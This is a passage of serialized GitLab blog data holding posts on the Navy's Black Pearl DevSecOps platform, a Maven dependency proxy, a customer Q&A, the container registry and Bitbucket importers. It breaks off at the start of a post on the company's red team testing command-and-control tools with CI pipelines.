Sector","en-us/blog/why-gitlab-self-managed-is-the-perfect-partner-for-the-public-sector.yml","en-us/blog/why-gitlab-self-managed-is-the-perfect-partner-for-the-public-sector",{"_path":7647,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7648,"content":7654,"config":7659,"_id":7661,"_type":16,"title":7662,"_source":17,"_file":7663,"_stem":7664,"_extension":20},"/en-us/blog/u-s-navy-black-pearl-lessons-in-championing-devsecops",{"title":7649,"description":7650,"ogTitle":7649,"ogDescription":7650,"noIndex":6,"ogImage":7651,"ogUrl":7652,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7652,"schema":7653},"U.S. Navy Black Pearl: Lessons in championing DevSecOps","Sigma Defense built a managed service software factory environment for the military using GitLab as its DevSecOps platform. Here's what they learned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png","https://about.gitlab.com/blog/u-s-navy-black-pearl-lessons-in-championing-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"U.S. Navy Black Pearl: Lessons in championing DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2023-12-12\",\n      }",{"title":7649,"description":7650,"authors":7655,"heroImage":7651,"date":7656,"body":7657,"category":2702,"tags":7658},[3281],"2023-12-12","Manuel Gauto, director of engineering at government contractor [Sigma Defense](https://sigmadefense.com/), is a true DevSecOps champion. As co-creator of Black Pearl, a DevSecOps environment Sigma Defense manages for the U.S. Navy, Gauto witnesses firsthand the power that combining development, security, and operations can have in modernizing and scaling software development.\n\n\"If a DevSecOps environment is done correctly - where the tooling, security and compliance, connectivity, and onboarding are all handled as part of the platform – then mission owners can focus on mastering CI/CD in the context of their mission,\" Gauto said.\n\nGauto participated in GitLab's DevSecOps World Tour in Washington, D.C., speaking with GitLab Federal CTO Joel Krooswyk about Black Pearl and how consolidating a multitude of software factories into a single managed DevSecOps cloud environment has yielded tremendous results at scale, including:\n\n- a reduction in software factory setup time from around 6 months to 3 to 5 days\n- a 10x lower cost, decreasing from around $4 million to around $400,000\n- a more secure environment because there is inherent security with Authorization to Operate (ATO)\n- faster onboarding, decreasing from as long as 5 weeks to 1 day\n\n## The origins of Black Pearl\n\nA few years ago, the Navy had numerous software factories operating concurrently. Gauto himself was involved in standing a few of them up. \"We realized that it wasn't the most efficient approach – duplicative infrastructure in four or five different places that was ultimately doing the same thing,\" he said. \n\nThe team pitched the idea of a single environment that would consolidate cloud infrastructure, address security issues, and provide connectivity. That single environment was named \"Black Pearl\" and now consists of two offerings: Lighthouse, a DevSecOps infrastructure as code/configuration as code (IaC/CaC) baseline, and Party Barge, a managed shared offering.\n\nBlack Pearl’s common software environment with ATO provides commoditized DevSecOps tooling, pipeline component templates, governance/management, logging and metrics, integration infrastructure, cloud automation, and compute resources. The GitLab DevSecOps Platform is a major part of Black Pearl, providing \"a one-stop shop\" for source code management, tasks, documentation, and security scanning. Gauto said the dashboards and visualization are particularly integral to go/no-go decisions on shipping software.\n\n\"GitLab is the kind of platform that really enables us because it is the first time, even internally with our development, that we don't have to jump around to a bunch of different tools – we can just do everything in GitLab,\" he said. \"Having everyone on one platform also enables collaborative efficiency.\"\n\nGitLab's capabilities support the fast, secure, and cost-effective standup of software factories, according to Gauto.\n\n> Want to learn more about GitLab for the public sector? [Contact us today](https://about.gitlab.com/solutions/public-sector/).\n\n## How to build a strong DevSecOps environment\n\nIn the years since Black Pearl was first launched, Gauto has learned a lot about what makes a robust and secure DevSecOps environment. He said it comes down to tearing down silos and establishing a development ecosystem, centralizing security and compliance, providing the\nability to easily and quickly onboard talent, and remaining flexible and open to innovation. \n\n### Establish a strong development ecosystem\n\nIn large organizations, especially within government agencies, software development tends to break into silos. \"You'll have units of innovation that struggle to collaborate because they may work in one environment or in one building,\" Gauto said, adding that sharing anything – code, best practices, tooling, or infrastructure – can be challenging.\n\n\"By creating a well-established, well-maintained deployment of tooling, in particular, with GitLab, people can see what other teams are doing and share more readily,\" he said. \"Instead of mailing a CD to some lab somewhere else in the country, DevSecOps teams can just say, 'Let me add you as a developer on my project and you can kick around these repositories.'\" \n\nAn ecosystem helps aggregate demand in a way that breaks down barriers to infrastructure accreditation. \"We can go to the cyber community or certification community and say, 'I'm here representing a large group of users. This is a pain point we all have and we would like to work with you to figure it out,'\" Gauto said. For example, allowing people to connect to Black Pearl over the internet from a contractor machine, government machine, or wherever. \"It should not be this difficult in an unclassified environment.\"\n\nWith a strong ecosystem, you also can build up your best practices and processes around planning (such as Agile, Scrum, and Kanban), integrating on-site and remote development, gaining authorization for software, and delivering applications to various environments.\n\n### Apply security and compliance\n\nWhen it comes to security and compliance, Gauto said the biggest thing is to be able to see the train coming down the tracks and to be as prepared as possible. \"Let's not be surprised and let's not be standing on the tracks when it gets here,\" he said. \n\nOne area where that sentiment is wholly applicable is compliance, where mandates are evolving at breakneck speed. \"We want to be prepared to provide the data and the tooling in a format that's ingestible by the right people,\" he said.\n\nHe credits GitLab for helping with this challenge. \"GitLab Ultimate lets us just bake compliance in from the start and template a bunch of stuff from the start,\" which lets customers immediately start running with compliance, he said.\n\nGitLab also supports licensing and ATO scans in a single platform. \n\n### Support rapid onboarding of talent\n\nAcross the military, there are obstacles to accessing the best DevSecOps talent, including working in buildings with no windows, and having to jump through giant hoops to be able to work on classified networks.\n\n\"I think that really limits the talent that can be brought to the table to solve some of the really hard problems we have,\" Gauto said. For Black Pearl to be successful\nin supporting the missions, it was imperative to \"enable broader access to talent and then build sustainable onboarding workflows.\"\n\nWithin the DoD, there are a lot of difficult and interesting problems that need to be solved but the\nability to collaborate across government, industry, and academia can be a limiting factor. \"There are a large number of locations where software development is being done and without a common environment to work within, work can be repeated, lost, or otherwise underutilized,\" Gauto said.\n\nBlack Pearl provides an environment for different organizations to collaborate in a way that is accessible. Black Pearl has focused on ensuring that authorized users are able to access the environment from different devices, networks, and locations without onerous access procedures. This approach fosters the development of new ideas and increases the speed to new capabilities.\n\n### Enable flexibility and innovation\n\nThe military has so many different delivery environments – from submarines to aircraft carriers – that Black Pearl has to be incredibly flexible. \"We enable everyone to manage their own kingdom and focus their efforts on pieces that are specific to their problem space,\" Gauto said. \"We know there's not one pipeline to rule all. So we provide the toolkit and let everyone tailor the solution to what they need instead of saying, 'you have to do software development this way and you have to deliver it this way.'\"\n\nBlack Pearl encourages customers to have a sense of ownership over their environments, using the building blocks of GitLab Ultimate, including CI/CD pipelines, scanning, and testing. \"We want them to get to the point where they are ready to use all the tools that we offer,\" Gauto said. They also educate the customer so that the customer can drive their own requirements rather than Black Pearl having to pitch functionality to them.\n\nFor example, the Black Pearl team closely collaborates with the developer team for The Forge, a software factory for the Navy's Aegis integrated weapons system. \"One day The Forge team said, 'We feel like we should be scanning our source code for secrets before we check it in.' Exactly.\"\n\nHe also wants to be careful to not stifle innovation or overly restrict customers. \"Not everything is a containerized business application that goes to the cloud,\" he said. He instructs his team members to \"make sure we have a strategy for providing flexibility for people that are doing something weird, because the people that are doing something weird are usually doing something cool.\" \n\nArtificial intelligence and machine learning will be a test of this philosophy. \"There are going to be some novel tools and some novel data classifications that we are going to have to iterate on quickly,\" he said.\n\n## The proven thesis\n\nGauto is proud of Black Pearl's tremendous adoption rates, which have grown 400% over the past 12 months, and believes it is proof of the concept. \"The Black Pearl thesis of a managed service that enables people to quickly start solving their own problems without worrying about the 'boring' stuff can work and is valuable,\" he said.\n\n> Learn more about [GitLab for the public sector](https://about.gitlab.com/solutions/public-sector/).\n",[943,479,674,267,185],{"slug":7660,"featured":92,"template":678},"u-s-navy-black-pearl-lessons-in-championing-devsecops","content:en-us:blog:u-s-navy-black-pearl-lessons-in-championing-devsecops.yml","U S Navy Black Pearl Lessons In Championing Devsecops","en-us/blog/u-s-navy-black-pearl-lessons-in-championing-devsecops.yml","en-us/blog/u-s-navy-black-pearl-lessons-in-championing-devsecops",{"_path":7666,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7667,"content":7673,"config":7678,"_id":7680,"_type":16,"title":7681,"_source":17,"_file":7682,"_stem":7683,"_extension":20},"/en-us/blog/gitlabs-maven-dependency-proxy-is-available-in-beta",{"title":7668,"description":7669,"ogTitle":7668,"ogDescription":7669,"noIndex":6,"ogImage":7670,"ogUrl":7671,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7671,"schema":7672},"GitLab's Maven dependency proxy is available in Beta","Enterprises can use new package registry feature to consolidate artifact management on GitLab, increasing the efficiency and speed of CI/CD pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663908/Blog/Hero%20Images/2023-devsecops-report-blog-banner2.png","https://about.gitlab.com/blog/gitlabs-maven-dependency-proxy-is-available-in-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's Maven dependency proxy is available in Beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2023-12-11\",\n      }",{"title":7668,"description":7669,"authors":7674,"heroImage":7670,"date":7675,"body":7676,"category":736,"tags":7677},[1125],"2023-12-11","GitLab is introducing the Maven dependency proxy, a new feature that will enable enterprises to consolidate on the DevSecOps platform for artifact management. The Maven dependency proxy, [available in Beta](https://gitlab.com/groups/gitlab-org/-/epics/3610), enables larger organizations to be more efficient by expanding the functionality of GitLab's package registry. The new feature can make pipelines faster and more reliable, and can reduce the cost of data transfer since over time most packages will be pulled from the cache.\n\n## How the Maven dependency proxy works\n\nA typical software project relies on a variety of dependencies, which we call packages. Packages can be internally built and maintained, or sourced from a public repository. Based on our user research, we’ve learned that most projects use a 50/50 mix of public vs. private packages. When installing packages, the order in which they are found and downloaded is very important, as downloading or using an incorrect package or version of a package can introduce breaking changes and security vulnerabilities into their pipelines.\n\nThe Maven dependency proxy gives users the ability to add or configure one external Java repository. Once added, when a user tries to install a Java package using their project-level endpoint, GitLab will first look for the package in the project and if it's not found, will attempt to pull the package from the external repository.\n\nWhen a package is pulled from the external repository, it will be imported into the GitLab project so that the next time that particular package/version is pulled it's pulled from GitLab and not the external repository. If the external repository is having connectivity issues and the package is present in the dependency proxy, then pulling that package will work. This will make your pipelines faster and more reliable.\n\nIf the package changes in the external repository — for example, a user deletes a version and publishes a new one with different files — the dependency proxy will detect that and invalidate the package in GitLab to pull the \"newer\" one. This will ensure that the correct packages are downloaded and help to reduce security vulnerabilities. \nIf the package is not found in their GitLab project or the external repository, GitLab will return an error.\n\nHere are more details of the Maven dependency proxy:\n- This feature and all future dependency proxy formats will be in the Premium tier.\n- Project owners will be able to configure this feature via a project's settings (API or UI).\n- We will support external repositories that require authentication, such as Artifactory or Sonatype.\n\n## A fit for the enterprise\n\nEnterprise organizations that need to consolidate on GitLab and move away from Artifactory or Sonatype can make use of the new Maven dependency proxy. Virtual registries allow you to publish, proxy, and cache multiple package repositories behind a single, logical URL. \n\nThe Maven dependency proxy is the MVC of a set of features that will help enterprise organizations sunset their existing artifact management vendors, such as Artifactory or Sonatype Nexus, to help reduce costs and improve the developer user experience.\n\n#### Roadmap\n- [Finish the Maven dependency proxy](https://gitlab.com/groups/gitlab-org/-/epics/3610) (Milestone 16.7)\n- [npm dependency proxy](https://gitlab.com/groups/gitlab-org/-/epics/3608) \n- [Make the dependency proxy for containers work generically with any container registry](https://gitlab.com/groups/gitlab-org/-/epics/6061)\n- [PyPI dependency proxy](https://gitlab.com/groups/gitlab-org/-/epics/3612)\n- [NuGet dependency proxy](https://gitlab.com/groups/gitlab-org/-/epics/3611)\n\n## How we will measure success\n\nWe will start to measure success by tracking adoption by tier with the following metrics:\n\n- Number of packages pulled through the dependency proxy\n- The hit ratio (packages pulled from the cache vs. upstream repository)\n- Number of users that pulled a package through the dependency proxy\n\n## How to get started\n\nIn the video below, you can see a short demo of the Maven dependency proxy in action.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9NPTXObsSrE?si=MFWg5C9j5a97LBeE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Prerequisites\n\n- As of the time of writing this, the feature is behind a feature flag.\n- The settings for your project must be updated using [GraphQL](https://gitlab.com/-/graphql-explorer).\n\n> Join the Beta program by adding a comment to [this epic](https://gitlab.com/groups/gitlab-org/-/epics/3610). Note: The feature is planned to go to general availability in Version 16.7 or 16.8.\n",[736,110,1268,943],{"slug":7679,"featured":92,"template":678},"gitlabs-maven-dependency-proxy-is-available-in-beta","content:en-us:blog:gitlabs-maven-dependency-proxy-is-available-in-beta.yml","Gitlabs Maven Dependency Proxy Is Available In Beta","en-us/blog/gitlabs-maven-dependency-proxy-is-available-in-beta.yml","en-us/blog/gitlabs-maven-dependency-proxy-is-available-in-beta",{"_path":7685,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7686,"content":7691,"config":7696,"_id":7698,"_type":16,"title":7699,"_source":17,"_file":7700,"_stem":7701,"_extension":20},"/en-us/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium",{"title":7687,"description":7688,"ogTitle":7687,"ogDescription":7688,"noIndex":6,"ogImage":831,"ogUrl":7689,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7689,"schema":7690},"Betstudios CTO on improving CI/CD capabilities with GitLab Premium","Read why Betstudios upgraded to GitLab Premium and how their software development process has changed in this Q&A with their CTO Rafael Campuzano.","https://about.gitlab.com/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Betstudios CTO on improving CI/CD capabilities with GitLab Premium\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kristina Weis\"}],\n        \"datePublished\": \"2023-12-06\",\n      }",{"title":7687,"description":7688,"authors":7692,"heroImage":831,"date":7693,"body":7694,"category":2702,"tags":7695},[7018],"2023-12-06","Since joining [Betstudios](https://betstudios.com/en/) (soon to be part of WA. Technology Group) as their CTO earlier this year, Rafael Campuzano has been focused on finding ways to help the software development team save time, automate manual processes, and have a better experience.\n\nThe team had been using GitLab’s free tier for source code management and version control for several years, but they wanted to improve their CI/CD capabilities so they made the decision to upgrade to GitLab Premium. We talked with Rafael about what the team has already been able to do, how their software development process has changed, and what they’re planning to do next.\n\n__What led you to upgrade from GitLab’s free tier to GitLab Premium?__\n\nThe main motivation when I joined Betstudios was to have the service hosted outside our office servers and remove the hassle of having to manage it ourselves, so we decided to move to the SaaS model. Once that decision was made, we needed a certain level of reliability but mainly we wanted to improve our [CI/CD capabilities](https://about.gitlab.com/topics/ci-cd/), which was the reason for upgrading to the Premium plan.\n\n__What made you choose GitLab?__\n\nBetstudios was already using GitLab and I had experience from previous companies and knew that GitLab is a quite complete tool for managing code and beyond. Besides, I also liked the openness and the overall culture of the company, based on transparency and innovation.\n\n__How has your software development process changed since adopting GitLab Premium?__\n\nWe’re a small team and haven’t been able to take full advantage of all the power that GitLab Premium brings yet, but we’ve started with some deployment automations and that’s taken away a lot of unnecessary work — and mistakes — from the teams.\n\n__What benefits have you seen since you started using GitLab Premium?__\n\nWe’re just getting started, but we have already saved around five hours per week per Team Lead by automating much of the deployment process, and soon we expect to take that to 10 hours per week of time saved. Now they can dedicate this time to better planning, code reviews, and even coding.\n\n__You also moved from GitLab's free tier to GitLab Premium at your last company. How did that experience affect your decision to upgrade to GitLab Premium at Betstudios?__\n\nI was responsible for infrastructure at [EveryMatrix](https://about.gitlab.com/customers/everymatrix/), which included the support of the GitLab servers on-prem. We needed HA (high availability), so we decided to move to the Premium plan. However, we soon realized we made many development teams happy, because they wanted to use the more advanced features that the Premium plan was coming with. The development teams showed it was a great decision for them, and our relationship with GitLab the company was always great, so when I arrived at Betstudios it was a clear move to make.\n\n__What would you like to do next with GitLab’s DevSecOps Platform?__\n\nI would like to explore the CI/CD capabilities with Kubernetes, and I’m encouraging our Engineering teams to use all the capabilities like code reviews, advanced merge requests, and CI/CD more and more. I’ve also seen that many companies are using ArgoCD in combination with GitLab and I’m going to explore if there is a way to do everything just using GitLab.\n\n__Do you have any advice for teams getting started with GitLab?__\n\nIt is an all-in-one platform, so you do not need to build complex systems for different tasks around your code production, methodologies, and operations. GitLab is easy to use and has a great team that will help you to get the most out of it.\n\n> Read more GitLab customer stories on our [customers page](https://about.gitlab.com/customers/).",[943,479,110,2705],{"slug":7697,"featured":6,"template":678},"betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium","content:en-us:blog:betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium.yml","Betstudios Cto On Improving Ci Cd Capabilities With Gitlab Premium","en-us/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium.yml","en-us/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium",{"_path":7703,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7704,"content":7710,"config":7716,"_id":7718,"_type":16,"title":7719,"_source":17,"_file":7720,"_stem":7721,"_extension":20},"/en-us/blog/gitlabs-next-generation-container-registry-is-now-available",{"title":7705,"description":7706,"ogTitle":7705,"ogDescription":7706,"noIndex":6,"ogImage":7707,"ogUrl":7708,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7708,"schema":7709},"GitLab's next-generation container registry is now available","Self-managed customers can upgrade to the container registry (Beta) and unlock online garbage collection, which can reduce costly downtime and storage.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683098/Blog/Hero%20Images/container-cloud__1_.png","https://about.gitlab.com/blog/gitlabs-next-generation-container-registry-is-now-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's next-generation container registry is now available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2023-12-04\",\n      }",{"title":7705,"description":7706,"authors":7711,"heroImage":7707,"date":7712,"body":7713,"category":736,"tags":7714},[1125],"2023-12-04","**TLDR; Upgrade to the new container registry (Beta) to unlock online garbage collection. This [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/423459) has all the information you need to get started.**\n\nWhen I joined the GitLab Package stage, the [container registry](https://docs.gitlab.com/ee/user/packages/container_registry/) already existed and was a critical feature for GitLab and GitLab's customers. But some fundamental problems needed to be addressed.\n\n- The user interface was unusable due to missing functionality like sorting, filtering, and deleting container images.\n- Operations that required listing the tags associated with an image were not performant at scale.\n- There was no good way to delete container images programmatically.\n- We had very little insight into user adoption.\n- The storage costs for GitLab.com were tremendously high.\n\nOf course, all of the above issues were related. The container registry was using a fork of the [Distribution](https://github.com/distribution/distribution) project, which had a lot of performance and usability issues when operating at the GitLab.com scale.\n\nAs a team, we decided that the first problem to tackle was the ever-growing cost of storage for GitLab.com. The legacy registry did not support online garbage collection. After calculating that it would take an absurd amount of downtime to run garbage collection in offline mode, we moved on to our next idea: optimize the existing [offline garbage collector](https://gitlab.com/groups/gitlab-org/-/epics/2552).\n\n## Optimizing the container registry code\n\nWe optimized the code for Google Cloud Storage (GCS) and Amazon S3, and saw a 90% reduction in the time it takes to run garbage collection. This benefited many GitLab customers with container registries smaller than 100 TB. Even with the performance improvements, we estimated a staggering 64 days to run garbage collection for GitLab.com.\n\nIn the end, we took the Distribution project as far as we could. We needed a container registry that supported more advanced use cases than push and pull. And we needed to drastically reduce the operating costs to make the feature sustainable for Free tier users. We decided to [fork the Distribution project](https://gitlab.com/groups/gitlab-org/-/epics/2552) and build the next-generation container registry.\n\n## Solving the online garbage collection problem\n\nNext, we dove head first into solving the [online garbage collection](https://gitlab.com/groups/gitlab-org/-/epics/2313) problem for GitLab.com. Faced with petabytes of scale and the requirement to maintain our error budgets, we designed and implemented an [online migration of GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/5523) with zero degradation in service.\n\nWe completed the migration 12 months ago. The results?\n\n- Garbage collection deletes terabytes of data from GitLab.com each day.\n- Improved performance and reliability.\n- We removed a lot of data from object storage and saved a lot of money.\n\n## Migrating to the next-generation container registry\n\nNow we want to help GitLab self-managed customers migrate to the next-generation container registry. By upgrading, you will unlock support for online garbage collection, which can save you costly downtime or escalating storage costs. You can also expect to see performance and reliability improvements for the container registry API and UI.\n\nAnother benefit is that you get to give early feedback to the team on what's working well or not so well for you. This feedback is valuable for GitLab and your organization because we will ensure that the next set of features being developed meets your needs.\n\n## The road ahead\n\nNew features are coming. Now that the registry leverages a metadata database for efficient queries, we can deliver significant UI and UX improvements that were impossible before. In 2024, we plan to add support for the below features.\n\n- [Making the container registry GA for self-managed customers](https://gitlab.com/groups/gitlab-org/-/epics/5521)\n- [Improved sorting and filtering with the container registry](https://gitlab.com/groups/gitlab-org/-/epics/8507)\n- [Improved UI for manifest/multi-arch container images](https://gitlab.com/groups/gitlab-org/-/epics/11952)\n- [Improved UI for container image attestation and signing](https://gitlab.com/groups/gitlab-org/-/epics/7856)\n- [Improved UI for storing Helm charts in the registry](https://gitlab.com/gitlab-org/gitlab/-/issues/38047)\n- Add support for [protected repositories](https://gitlab.com/groups/gitlab-org/-/epics/9825) and [immutable tags](https://gitlab.com/gitlab-org/container-registry/-/issues/82)\n\n**Note:** While the registry is in `Beta` for self-managed, we will be adding new features to GitLab.com that will not be immediately available to self-managed until the registry is generally available. This is to ensure that we focus on migrating as many customers as possible as efficiently as possible.\n\n## Get started today\n\nWe want to enable those features for self-managed customers, but we need your help. Please consider migrating to the next-generation container registry today. The best place to start is the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/423459), which has links to documentation, helpful tips, and the attention of the Package team here at GitLab.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._",[7715,1268,695],"careers",{"slug":7717,"featured":92,"template":678},"gitlabs-next-generation-container-registry-is-now-available","content:en-us:blog:gitlabs-next-generation-container-registry-is-now-available.yml","Gitlabs Next Generation Container Registry Is Now Available","en-us/blog/gitlabs-next-generation-container-registry-is-now-available.yml","en-us/blog/gitlabs-next-generation-container-registry-is-now-available",{"_path":7723,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7724,"content":7730,"config":7735,"_id":7737,"_type":16,"title":7738,"_source":17,"_file":7739,"_stem":7740,"_extension":20},"/en-us/blog/enhanced-migration-from-bitbucket-server-and-bitbucket-cloud-to-gitlab",{"title":7725,"description":7726,"ogTitle":7725,"ogDescription":7726,"noIndex":6,"ogImage":7727,"ogUrl":7728,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7728,"schema":7729},"Enhanced migration from Bitbucket Server and Bitbucket Cloud to GitLab","Learn about performance improvements and more when migrating from Bitbucket Server and Cloud to GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668776/Blog/Hero%20Images/julia-craice-faCwTallTC0-unsplash.jpg","https://about.gitlab.com/blog/enhanced-migration-from-bitbucket-server-and-bitbucket-cloud-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enhanced migration from Bitbucket Server and Bitbucket Cloud to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Magdalena Frankiewicz\"}],\n        \"datePublished\": \"2023-11-30\",\n      }",{"title":7725,"description":7726,"authors":7731,"heroImage":7727,"date":7732,"body":7733,"category":962,"tags":7734},[3717],"2023-11-30","_Atlassian is ending support for all Server products in February 2024. Learn more about the [benefits of migrating from Atlassian to GitLab](https://about.gitlab.com/move-to-gitlab-from-atlassian/)._\n\nStarting [from February 15, 2024](https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/), Atlassian will no longer offer technical support, security updates, or vulnerability fixes for their Server products, including Bitbucket Server.\n\nThrough improvements to our Bitbucket Server and Bitbucket Cloud importers, we've lowered the barrier to switch to GitLab, especially for large Bitbucket projects. We are happy to be able to offer a quick and effortless way to move your data to GitLab!\n\nLet's take a look at some of these improvements.\n\n## Improvements to imports of large projects\n\nGitLab has offered Bitbucket Server and Bitbucket Cloud importers for a long time. However, these importers operated sequentially in only one Sidekiq background job, which led to timeouts on imports of larger projects.\n\nTo solve the timeouts problem, we introduced parallel, asynchronous importers that split the work into smaller background jobs. This change was introduced in:\n\n- [GitLab 16.1](https://gitlab.com/gitlab-org/gitlab/-/issues/411534) for the Bitbucket Server importer\n- [GitLab 16.6](https://gitlab.com/gitlab-org/gitlab/-/issues/412614) for the Bitbucket Cloud importer\n\nThis change:\n\n- ensures that the import process doesn’t time out on a single worker\n- spreads the number of calls we make to Bitbucket API, reducing the risk of running into rate limiting\n\nWe also improved error handling so that errors raised on single objects don't stop the whole import from completing.\n\n## More improvements\n\nRefactoring importers to be parallel was a crucial improvement, but not the only one we have made to our importers. We also worked to:\n\n- improve the integrity of imported data\n- extend the types of data that we import\n\nBecause Bitbucket Server and Bitbucket Cloud are separate products and require separate importers, the improvements we introduced differ for each importer. We describe them in the sub-sections below.\n\n### Bitbucket Server importer\n\nIn GitLab 16.5, we [fixed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/131894) a problem when imported merged and closed merge requests had no commit data associated with them, leaving the diffs empty.\n\nIn Gitlab 16.3, we began [importing reviewers](https://gitlab.com/gitlab-org/gitlab/-/issues/416611) and in Gitlab 16.6, we began importing [pull request approvals](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/135256).\n\n### Bitbucket Cloud importer\n\nIn GitLab 16.6, we fixed a problem that users encountered when a pull request on Bitbucket Cloud was squashed and merged, and the branch deleted. When these pull requests were imported to GitLab, the resulting merge requests didn't have associated commits. The problem was addressed by associating merge commits to imported merge requests.\n\nNotes on issues and pull requests can contain references (links) to code, issues, comments, pull requests, and more. Previously, these were imported as is, which left comments with strangely formatted, unclickable links. We [fixed this](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/131382) in GitLab 16.6 by converting refs to GitLab refs. Also, we [no longer import deleted notes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/133208), which caused data errors.\n\nAlso for the Bitbucket Cloud importer, we began [importing LFS objects](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/133182) in GitLab 16.5 and [pull request reviewers](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/131134) in GitLab 16.6.\n\n## Take advantage of importers today\n\nWith the improvements described, the experience of switching from Bitbucket Server or Bitbucket Cloud to the GitLab DevSecOps platform is better than ever! Check out the [Bitbucket Server importer documentation](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html) or the [Bitbucket Cloud importer documentation](https://docs.gitlab.com/ee/user/project/import/bitbucket.html) to get started today.\n\nFor GitLab self-managed instances, to benefit from parallel Bitbucket Cloud importer, administrators must enable the `bitbucket_parallel_importer` [feature flag](https://docs.gitlab.com/ee/administration/feature_flags.html). The Bitbucket Server importer is always parallel on GitLab self-managed and GitLab.com.",[479,7116,232],{"slug":7736,"featured":6,"template":678},"enhanced-migration-from-bitbucket-server-and-bitbucket-cloud-to-gitlab","content:en-us:blog:enhanced-migration-from-bitbucket-server-and-bitbucket-cloud-to-gitlab.yml","Enhanced Migration From Bitbucket Server And Bitbucket Cloud To Gitlab","en-us/blog/enhanced-migration-from-bitbucket-server-and-bitbucket-cloud-to-gitlab.yml","en-us/blog/enhanced-migration-from-bitbucket-server-and-bitbucket-cloud-to-gitlab",{"_path":7742,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7743,"content":7748,"config":7754,"_id":7756,"_type":16,"title":7757,"_source":17,"_file":7758,"_stem":7759,"_extension":20},"/en-us/blog/how-gitlabs-red-team-automates-c2-testing",{"title":7744,"description":7745,"ogTitle":7744,"ogDescription":7745,"noIndex":6,"ogImage":3961,"ogUrl":7746,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7746,"schema":7747},"How GitLab's Red Team automates C2 testing ","Learn how to apply professional development practices to Red Teams using open source command and control tools.","https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab's Red Team automates C2 testing \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Josh Feehs\"}],\n        \"datePublished\": \"2023-11-28\",\n      }",{"title":7744,"description":7745,"authors":7749,"heroImage":3961,"date":7751,"body":7752,"category":674,"tags":7753},[7750],"Josh Feehs","2023-11-28","At GitLab, our [Red Team](https://handbook.gitlab.com/handbook/security/threat-management/red-team/) conducts security exercises that emulate real-world threats. By emulating real-world threats, we help assess and improve the effectiveness of the people, processes, and technologies used to keep our organization secure. To operate effectively, we must utilize professional development practices like the threat actors we emulate.\n\n[Threat actors](https://www.securonix.com/blog/threat-labs-security-advisory-new-starkvortex-attack-campaign-threat-actors-use-drone-manual-lures-to-deliver-merlinagent-payloads/) use open source command and control (C2) tools such as [Merlin](https://github.com/Ne0nd0g/merlin). While convenient, these tools have intentionally detectable features to discourage illegitimate use. Red Teams often need to customize and combine different open source options to evade detections in the environments they target.\n\nIn this blog, you'll learn how our team applies professional development practices to using open source C2 tools. We'll share how we implement continuous testing for the Mythic framework, our design philosophy, and a public project you can fork and use yourself.\n\nOur solution, available in [this public project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/continuousmage), improves our Red Team operations in two ways. First, it contains a suite of **pytest** tests for the Mythic C2 framework. These validate functionality of both the Mythic server and multiple Mythic-compatible agents. Second, it leverages **GitLab CI/CD pipelines** to automatically run these tests after each code change. This enables iterative development and 